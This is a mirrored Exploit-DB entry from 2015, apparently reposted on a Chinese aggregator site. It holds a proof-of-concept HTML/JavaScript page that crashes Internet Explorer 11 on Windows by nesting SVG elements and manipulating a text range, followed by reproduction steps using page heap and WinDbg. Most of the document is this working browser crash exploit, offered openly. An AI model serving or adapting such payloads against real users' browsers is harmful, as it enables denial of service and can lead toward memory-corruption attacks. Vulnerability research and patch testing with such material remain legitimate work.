Microsoft Internet Explorer 11 – Crash (PoC) (1) - 体验盒子

作者： Garage4Hackers

日期： 2015-05-19

类别：

dos

平台：

windows

来源：https://www.exploit-db.com/exploits/37060/

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

35

36

37

38

39

40

41

42

43

44

45

46

47

48

49

50

51

52

53

54

55

56

# Exploit Title: Internet Explorer 11 - Crash PoC

# Google Dork: N/A

# Date: 19th May, 2015

# Exploit Author:garage4hackers

# Vendor Homepage:http://garage4hackers.com/showthread.php?t=6246

# Software Link: N/A

# Version: Tested on IE 11

# Tested on: Windows 7

# CVE : N/A

<!doctype html>

<html>

<style>

*:nth-child(5)::before {

content: 'moof';

}

*:nth-child(5)::after {

content:'>>';

}

</style>

</HEAD><body>

elem0 = document.createElementNS('http://www.w3.org/2000/svg', 'svg')

elem1 = document.createElementNS('http://www.w3.org/2000/svg', 'feGaussianBlur')

elem2 = document.createElementNS('http://www.w3.org/2000/svg', 'svg')

elem3 = document.createElement('dd')

elem4 = document.createElement('map')

elem5 = document.createElement('i')

elem6 = document.createElementNS('http://www.w3.org/2000/svg', 'svg')

document.body.appendChild(elem0)

elem0.appendChild(elem1)

elem1.appendChild(elem2)

elem1.appendChild(elem3)

elem1.appendChild(elem4)

elem1.appendChild(elem5)

elem1.appendChild(elem6)

rangeTxt = document.body.createTextRange()

randOldNode = document.documentElement.firstChild

randOldNode.parentNode.replaceChild(elem2, randOldNode)

rangeTxt.moveEnd('sentence', '-20')

</script>

</body></html>

How do I reproduce it?

- It has been discovered, tested & reduced on Win7 32-bit Ultimate and runs successfully anytime.

a) Enable Page Heap # gflags.exe /p /enable iexplore.exe /full

b) Execute runMe.html in WinDbg

c) Tested on Win7 32-bit, Win8.1 32-bit, Win8.1 64-bit (not working on Win8, IE 10)